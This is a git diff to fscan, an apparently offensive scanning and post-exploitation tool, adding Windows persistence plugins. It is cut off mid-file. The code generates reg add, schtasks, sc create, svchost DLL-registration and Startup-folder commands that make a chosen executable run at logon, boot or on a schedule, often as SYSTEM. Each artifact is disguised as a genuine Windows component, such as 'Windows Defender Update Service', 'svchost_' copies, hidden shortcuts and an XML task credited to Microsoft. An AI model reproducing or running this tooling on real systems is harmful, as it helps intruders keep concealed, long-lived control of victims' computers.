diff --git a/Common/Flag.go b/Common/Flag.go index 0b984ee..896dc77 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -78,6 +78,9 @@ var ( // Linux持久化相关变量 PersistenceTargetFile string // 持久化目标文件路径 + // Windows持久化相关变量 + WinPEFile string // Windows PE文件路径 + // Parse.go 使用的变量 HostPort []string URLs []string @@ -237,6 +240,7 @@ func Flag(Info *HostInfo) { flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy")) flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port")) flag.StringVar(&PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file")) + flag.StringVar(&WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) // 帮助参数 @@ -383,12 +387,12 @@ func checkParameterConflicts() { if LocalMode { if LocalPlugin == "" { fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi\n") os.Exit(1) } // 验证本地插件名称 - validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice"} // 已重构的插件 + validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell", "ldpreload", "shellenv", "crontask", "systemdservice", "winregistry", "winstartup", "winschtask", "winservice", "winwmi"} // 已重构的插件 isValid := false for _, valid := range validPlugins { if LocalPlugin == valid { @@ -399,7 +403,7 @@ func checkParameterConflicts() { if !isValid { fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell, ldpreload, shellenv, crontask, systemdservice, winregistry, winstartup, winschtask, winservice, winwmi\n") os.Exit(1) } } diff --git a/Common/i18n/messages/flag.go b/Common/i18n/messages/flag.go index 156ed48..bd7be55 100644 --- a/Common/i18n/messages/flag.go +++ b/Common/i18n/messages/flag.go @@ -246,6 +246,10 @@ var FlagMessages = map[string]map[string]string{ LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)", LangEN: "Linux persistence target file path (supports .elf/.sh files)", }, + "flag_win_pe_file": { + LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)", + LangEN: "Windows persistence target PE file path (supports .exe/.dll files)", + }, "flag_language": { LangZH: "语言: zh, en", LangEN: "Language: zh, en", diff --git a/Plugins/local/winregistry/plugin.go b/Plugins/local/winregistry/plugin.go new file mode 100644 index 0000000..fe8677d --- /dev/null +++ b/Plugins/local/winregistry/plugin.go @@ -0,0 +1,257 @@ +package winregistry + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// WinRegistryPlugin Windows注册表持久化插件 - 使用简化架构 +type WinRegistryPlugin struct { + *local.BaseLocalPlugin + pePath string +} + +// NewWinRegistryPlugin 创建Windows注册表持久化插件 - 简化版本 +func NewWinRegistryPlugin() *WinRegistryPlugin { + // 从全局参数获取PE文件路径 + peFile := common.WinPEFile + if peFile == "" { + peFile = "" // 需要用户指定 + } + + metadata := &base.PluginMetadata{ + Name: "winregistry", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化", + Category: "local", + Tags: []string{"local", "persistence", "windows", "registry"}, + Protocols: []string{"local"}, + } + + plugin := &WinRegistryPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + pePath: peFile, + } + + // 只支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要管理员权限修改注册表 + plugin.SetRequiresPrivileges(true) + + return plugin +} + +// Initialize 初始化插件 +func (p *WinRegistryPlugin) Initialize() error { + if p.pePath == "" { + return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + return fmt.Errorf("PE文件不存在: %s", p.pePath) + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行Windows注册表持久化 - 简化版本 +func (p *WinRegistryPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始Windows注册表持久化...") + + registryKeys, err := p.createRegistryPersistence(p.pePath) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + common.LogInfo(fmt.Sprintf("创建了%d个注册表持久化项:", len(registryKeys))) + for i, key := range registryKeys { + common.LogInfo(fmt.Sprintf("%d. %s", i+1, key)) + } + + result := &base.ScanResult{ + Success: true, + Service: "WinRegistry", + Banner: fmt.Sprintf("Windows注册表持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_type": "registry", + "entries_created": len(registryKeys), + "registry_methods": registryKeys, + }, + } + + return result, nil +} + +func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var registryEntries []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + registryKeys := []struct { + hive string + key string + valueName string + description string + }{ + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt), + description: "Current User Run Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), + description: "Local Machine Run Key", + }, + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`, + valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt), + description: "Current User RunOnce Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`, + valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt), + description: "WOW64 Run Key", + }, + { + hive: "HKEY_LOCAL_MACHINE", + key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, + valueName: "Shell", + description: "Winlogon Shell Override", + }, + { + hive: "HKEY_CURRENT_USER", + key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, + valueName: "Load", + description: "Windows Load Key", + }, + } + + for _, regKey := range registryKeys { + var regCommand string + var value string + + if regKey.valueName == "Shell" { + value = fmt.Sprintf("explorer.exe,%s", absPath) + } else if regKey.valueName == "Load" { + value = absPath + } else { + value = fmt.Sprintf(`"%s"`, absPath) + } + + regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`, + regKey.hive, regKey.key, regKey.valueName, value) + + registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand)) + } + + return registryEntries, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// GetLocalData 获取Windows注册表持久化本地数据 +func (p *WinRegistryPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + + data["plugin_type"] = "winregistry" + data["platform"] = runtime.GOOS + data["pe_file"] = p.pePath + data["persistence_method"] = "Windows Registry" + + if hostname, err := os.Hostname(); err == nil { + data["hostname"] = hostname + } + + return data, nil +} + +// ExtractData 提取数据 +func (p *WinRegistryPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: true, + Output: fmt.Sprintf("Windows注册表持久化完成,PE文件: %s", p.pePath), + Data: data, + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_method": "Windows Registry", + "status": "completed", + }, + }, nil +} + +// GetInfo 获取插件信息 +func (p *WinRegistryPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("Windows注册表持久化插件\n") + info.WriteString(fmt.Sprintf("PE文件: %s\n", p.pePath)) + info.WriteString("支持平台: Windows\n") + info.WriteString("功能: 通过注册表Run键等实现持久化\n") + info.WriteString("方法: HKCU/HKLM Run键、RunOnce键、Winlogon Shell等\n") + info.WriteString("要求: PE文件(.exe/.dll),管理员权限\n") + + return info.String() +} + +// RegisterWinRegistryPlugin 注册Windows注册表持久化插件 +func RegisterWinRegistryPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "winregistry", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows注册表持久化插件,通过注册表Run键等实现持久化", + Category: "local", + Tags: []string{"winregistry", "local", "persistence", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewWinRegistryPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("winregistry", factory) +} + +// init 插件注册函数 +func init() { + RegisterWinRegistryPlugin() +} \ No newline at end of file diff --git a/Plugins/local/winschtask/plugin.go b/Plugins/local/winschtask/plugin.go new file mode 100644 index 0000000..60e3744 --- /dev/null +++ b/Plugins/local/winschtask/plugin.go @@ -0,0 +1,266 @@ +package winschtask + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// WinSchTaskPlugin Windows计划任务持久化插件 - 使用简化架构 +type WinSchTaskPlugin struct { + *local.BaseLocalPlugin + pePath string +} + +// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 - 简化版本 +func NewWinSchTaskPlugin() *WinSchTaskPlugin { + // 从全局参数获取PE文件路径 + peFile := common.WinPEFile + if peFile == "" { + peFile = "" // 需要用户指定 + } + + metadata := &base.PluginMetadata{ + Name: "winschtask", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化", + Category: "local", + Tags: []string{"local", "persistence", "windows", "schtask"}, + Protocols: []string{"local"}, + } + + plugin := &WinSchTaskPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + pePath: peFile, + } + + // 只支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要管理员权限创建系统任务 + plugin.SetRequiresPrivileges(true) + + return plugin +} + +// Initialize 初始化插件 +func (p *WinSchTaskPlugin) Initialize() error { + if p.pePath == "" { + return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + return fmt.Errorf("PE文件不存在: %s", p.pePath) + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行Windows计划任务持久化 - 简化版本 +func (p *WinSchTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始Windows计划任务持久化...") + + scheduledTasks, err := p.createScheduledTaskPersistence(p.pePath) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + common.LogInfo(fmt.Sprintf("创建了%d个计划任务持久化项:", len(scheduledTasks))) + for i, task := range scheduledTasks { + common.LogInfo(fmt.Sprintf("%d. %s", i+1, task)) + } + + result := &base.ScanResult{ + Success: true, + Service: "WinSchTask", + Banner: fmt.Sprintf("Windows计划任务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_type": "scheduled_task", + "tasks_created": len(scheduledTasks), + "scheduled_tasks": scheduledTasks, + }, + } + + return result, nil +} + +func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var scheduledTasks []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + tasks := []struct { + name string + schedule string + description string + modifier string + }{ + { + name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt), + schedule: "DAILY", + modifier: "1", + description: "Daily Windows Update Check", + }, + { + name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt), + schedule: "ONLOGON", + modifier: "", + description: "System Security Scan on Logon", + }, + { + name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt), + schedule: "MINUTE", + modifier: "30", + description: "Network Monitor Every 30 Minutes", + }, + { + name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt), + schedule: "ONSTART", + modifier: "", + description: "System Maintenance Task on Startup", + }, + { + name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt), + schedule: "HOURLY", + modifier: "2", + description: "Background Service Every 2 Hours", + }, + { + name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), + schedule: "ONIDLE", + modifier: "5", + description: "Security Update When System Idle", + }, + } + + for _, task := range tasks { + var schTaskCmd string + + if task.modifier != "" { + schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`, + task.name, absPath, task.schedule, task.modifier) + } else { + schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`, + task.name, absPath, task.schedule) + } + + scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd)) + } + + xmlTemplate := fmt.Sprintf(` + + + 2023-01-01T00:00:00 + Microsoft Corporation + Windows System Service + + + + true + + + true + + + + + S-1-5-18 + HighestAvailable + + + + IgnoreNew + false + false + false + true + false + + false + false + + true + true + true + false + false + true + false + PT0S + 7 + + + + %s + + +`, absPath) + + xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt) + xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName) + + xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`, + xmlTemplate, xmlPath, xmlPath, xmlTaskName) + + scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd)) + + return scheduledTasks, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// RegisterWinSchTaskPlugin 注册Windows计划任务持久化插件 +func RegisterWinSchTaskPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "winschtask", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows计划任务持久化插件,通过schtasks创建定时任务实现持久化", + Category: "local", + Tags: []string{"winschtask", "local", "persistence", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewWinSchTaskPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("winschtask", factory) +} + +// init 插件注册函数 +func init() { + RegisterWinSchTaskPlugin() +} \ No newline at end of file diff --git a/Plugins/local/winservice/plugin.go b/Plugins/local/winservice/plugin.go new file mode 100644 index 0000000..771aae1 --- /dev/null +++ b/Plugins/local/winservice/plugin.go @@ -0,0 +1,231 @@ +package winservice + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// WinServicePlugin Windows服务持久化插件 - 使用简化架构 +type WinServicePlugin struct { + *local.BaseLocalPlugin + pePath string +} + +// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本 +func NewWinServicePlugin() *WinServicePlugin { + // 从全局参数获取PE文件路径 + peFile := common.WinPEFile + if peFile == "" { + peFile = "" // 需要用户指定 + } + + metadata := &base.PluginMetadata{ + Name: "winservice", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows服务持久化插件,通过创建系统服务实现持久化", + Category: "local", + Tags: []string{"local", "persistence", "windows", "service"}, + Protocols: []string{"local"}, + } + + plugin := &WinServicePlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + pePath: peFile, + } + + // 只支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要管理员权限创建系统服务 + plugin.SetRequiresPrivileges(true) + + return plugin +} + +// Initialize 初始化插件 +func (p *WinServicePlugin) Initialize() error { + if p.pePath == "" { + return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + return fmt.Errorf("PE文件不存在: %s", p.pePath) + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行Windows服务持久化 - 简化版本 +func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始Windows服务持久化...") + + services, err := p.createServicePersistence(p.pePath) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services))) + for i, service := range services { + common.LogInfo(fmt.Sprintf("%d. %s", i+1, service)) + } + + result := &base.ScanResult{ + Success: true, + Service: "WinService", + Banner: fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_type": "service", + "services_created": len(services), + "service_methods": services, + }, + } + + return result, nil +} + +func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var services []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + serviceConfigs := []struct { + name string + displayName string + description string + startType string + }{ + { + name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), + displayName: "Windows Defender Update Service", + description: "Manages Windows Defender signature updates and system security", + startType: "auto", + }, + { + name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), + displayName: "System Event Log Service", + description: "Manages system event logging and audit trail maintenance", + startType: "auto", + }, + { + name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), + displayName: "Network Configuration Manager", + description: "Handles network interface configuration and management", + startType: "demand", + }, + { + name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), + displayName: "Windows Update Assistant", + description: "Coordinates automatic Windows updates and patches", + startType: "auto", + }, + { + name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), + displayName: "System Maintenance Service", + description: "Performs routine system maintenance and optimization tasks", + startType: "manual", + }, + } + + for _, config := range serviceConfigs { + scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, + config.name, absPath, config.displayName, config.startType) + + scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) + + scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) + + services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) + services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) + services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) + } + + serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) + wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) + + copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) + services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) + + scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, + serviceWrapperName, wrapperPath) + services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) + + regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, + serviceWrapperName, wrapperPath) + services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) + + dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) + if filepath.Ext(absPath) == ".dll" { + svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, + dllServiceName) + services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) + + regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, + dllServiceName, absPath) + services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) + + regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, + dllServiceName) + services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) + } + + return services, nil +} + +// isValidPEFile 检查是否为有效的PE文件 +func (p *WinServicePlugin) isValidPEFile(filePath string) bool { + ext := strings.ToLower(filepath.Ext(filePath)) + return ext == ".exe" || ext == ".dll" +} + +// RegisterWinServicePlugin 注册Windows服务持久化插件 +func RegisterWinServicePlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "winservice", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows服务持久化插件,通过创建系统服务实现持久化", + Category: "local", + Tags: []string{"winservice", "local", "persistence", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewWinServicePlugin() + }, + ) + + base.GlobalPluginRegistry.Register("winservice", factory) +} + +// init 插件注册函数 +func init() { + RegisterWinServicePlugin() +} \ No newline at end of file diff --git a/Plugins/local/winstartup/plugin.go b/Plugins/local/winstartup/plugin.go new file mode 100644 index 0000000..f63737b --- /dev/null +++ b/Plugins/local/winstartup/plugin.go @@ -0,0 +1,222 @@ +package winstartup + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// WinStartupPlugin Windows启动文件夹持久化插件 - 使用简化架构 +type WinStartupPlugin struct { + *local.BaseLocalPlugin + pePath string +} + +// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 - 简化版本 +func NewWinStartupPlugin() *WinStartupPlugin { + // 从全局参数获取PE文件路径 + peFile := common.WinPEFile + if peFile == "" { + peFile = "" // 需要用户指定 + } + + metadata := &base.PluginMetadata{ + Name: "winstartup", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows启动文件夹持久化插件,通过启动文件夹和快捷方式实现持久化", + Category: "local", + Tags: []string{"local", "persistence", "windows", "startup"}, + Protocols: []string{"local"}, + } + + plugin := &WinStartupPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + pePath: peFile, + } + + // 只支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 不需要特殊权限 + plugin.SetRequiresPrivileges(false) + + return plugin +} + +// Initialize 初始化插件 +func (p *WinStartupPlugin) Initialize() error { + if p.pePath == "" { + return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径") + } + + // 检查目标文件是否存在 + if _, err := os.Stat(p.pePath); os.IsNotExist(err) { + return fmt.Errorf("PE文件不存在: %s", p.pePath) + } + + // 检查文件类型 + if !p.isValidPEFile(p.pePath) { + return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath) + } + + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行Windows启动文件夹持久化 - 简化版本 +func (p *WinStartupPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始Windows启动文件夹持久化...") + + startupMethods, err := p.createStartupPersistence(p.pePath) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + common.LogInfo(fmt.Sprintf("创建了%d个启动文件夹持久化方法:", len(startupMethods))) + for i, method := range startupMethods { + common.LogInfo(fmt.Sprintf("%d. %s", i+1, method)) + } + + result := &base.ScanResult{ + Success: true, + Service: "WinStartup", + Banner: fmt.Sprintf("Windows启动文件夹持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS), + Extra: map[string]interface{}{ + "pe_file": p.pePath, + "persistence_type": "startup", + "methods_created": len(startupMethods), + "startup_methods": startupMethods, + }, + } + + return result, nil +} + +func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) { + absPath, err := filepath.Abs(pePath) + if err != nil { + return nil, fmt.Errorf("failed to get absolute path: %v", err) + } + + var startupMethods []string + baseName := filepath.Base(absPath) + baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + + startupLocations := []struct { + path string + description string + method string + }{ + { + path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "Current User Startup Folder", + method: "shortcut", + }, + { + path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "All Users Startup Folder", + method: "shortcut", + }, + { + path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, + description: "Current User Startup Folder (Direct Copy)", + method: "copy", + }, + { + path: `%TEMP%\WindowsUpdate`, + description: "Temp Directory with Startup Reference", + method: "temp_copy", + }, + } + + for _, location := range startupLocations { + switch location.method { + case "shortcut": + shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt) + shortcutPath := filepath.Join(location.path, shortcutName) + + powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`, + shortcutPath, absPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd)) + + case "copy": + targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt) + targetPath := filepath.Join(location.path, targetName) + copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd)) + + case "temp_copy": + tempDir := filepath.Join(location.path) + mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir) + targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt) + targetPath := filepath.Join(tempDir, targetName) + copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd)) + + shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt)) + powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`, + shortcutPath, targetPath) + + startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd)) + } + } + + batchScript := fmt.Sprintf(`@echo off +cd /d "%%~dp0" +start "" /b "%s" +exit`, absPath) + + batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt)) + batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath) + startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd)) + + return startupMethods, nil +} + +// isValidPEFile 